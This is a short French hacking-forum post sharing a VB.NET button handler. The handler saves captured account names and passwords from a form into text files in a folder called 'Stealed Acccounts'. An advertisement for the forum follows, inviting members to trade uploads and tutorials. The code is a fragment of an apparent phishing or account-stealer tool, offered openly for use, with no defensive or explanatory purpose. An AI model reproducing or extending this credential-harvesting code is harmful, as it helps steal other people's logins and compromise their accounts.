Les Codes:
Button1:
Try
Directory.CreateDirectory(Application.StartupPath & "\Stealed Acccounts\")
If Not ComboBox1.Text = "" Then
Dim savef As New System.IO.StreamWriter(Application.StartupPath & "\Stealed Acccounts\" & ComboBox1.Text & ".txt")
savef.Write(ComboBox1.Text + ControlChars.NewLine + TextBox1.Text)
savef.Close()
Else
End If
Catch ex As Exception
End Try
www.firewar-Forum.keuf.net Le Nouvo Forum Pour Plus D'Info Et De Tuto
Sur Ce Forum Venez Partager avec nous vos upload et vous profiterais aussi des biens du Forum Merci Pour Ceux Ki Vienne nous aider a developper Ce Forum
Et Merci Kan mm A ceux Ki Veulent profiter san faire profiter d'otre :)
Notre tags Peace